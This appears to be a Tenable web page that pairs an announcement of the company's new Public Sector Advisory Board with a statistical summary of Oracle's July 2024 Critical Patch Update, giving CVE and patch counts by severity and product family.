The landscape of cybersecurity policies, regulations and recommendations at both the federal and state levels continues to rapidly evolve. Tenable has long advocated for policies that enhance cybersecurity and digital resilience and participated in numerous public private partnerships to provide cybersecurity and technology insight to policymakers and government officials. 

That’s why today, Tenable is proud to launch its inaugural Public Sector Advisory Board. Inaugural members include Rob Joyce, former Director of Cybersecurity at the National Security Agency (NSA) and Mark Weatherford, former first Deputy Under Secretary for Cybersecurity at the Department of Homeland Security (DHS). They will be joined by Tenable Chairman and CEO Amit Yoran, and James Hayes, Senior Vice President of Global Government Affairs at Tenable.

These former senior officials who served in the Obama, Trump, and Biden administrations will help Tenable shape Federal and state cybersecurity policies, while supporting the collective mission to protect U.S. critical infrastructure. Tenable is uniting top industry and government professionals to share ideas and offer solutions to address the ongoing cybersecurity threats facing the U.S. 

To better protect people and critical infrastructure from cyber threats, we must best position the public and private sectors to work together. Tenable’s Public Service Advisory Board will enable just that.

Read the full announcement here: https://www.tenable.com/press-releases/tenable-launches-public-sector-advisory-board-and-names-inaugural-members

Oracle addresses 175 CVEs in its third quarterly update of 2024 with 386 patches, including 26 critical updates.

On July 16, Oracle released its Critical Patch Update (CPU) for July 2024, the third quarterly update of the year. This CPU contains fixes for 175 CVEs in 386 security updates across 29 Oracle product families. Out of the 386 security updates published this quarter, 6.7% of patches were assigned a critical severity. Medium severity patches accounted for the bulk of security patches at 45.9%, followed by high severity patches at 45.1%.

This quarter’s update includes 26 critical patches across 15 CVEs.

This quarter, the Oracle Commerce product family contained the highest number of patches at 95, accounting for 24.6% of the total patches, followed by Oracle E-Business Suite at 60 patches, which accounted for 15.6% of the total patches.

A full breakdown of the patches for this quarter can be seen in the following table, which also includes a count of vulnerabilities that can be exploited over a network without authentication.

Customers are advised to apply all relevant patches in this quarter’s CPU. Please refer to the July 2024 advisory for full details.

A list of Tenable plugins to identify these vulnerabilities will appear here as they’re released. This link uses a search filter to ensure that all matching plugin coverage will appear as it is released.

• Oracle Critical Patch Update Advisory - July 2024
• Oracle July 2024 Critical Patch Update Risk Matrices
• Oracle Advisory to CVE Map

Join Tenable's Security Response Team on the Tenable Community.

Learn more about Tenable One, the Exposure Management Platform for the modern attack surface.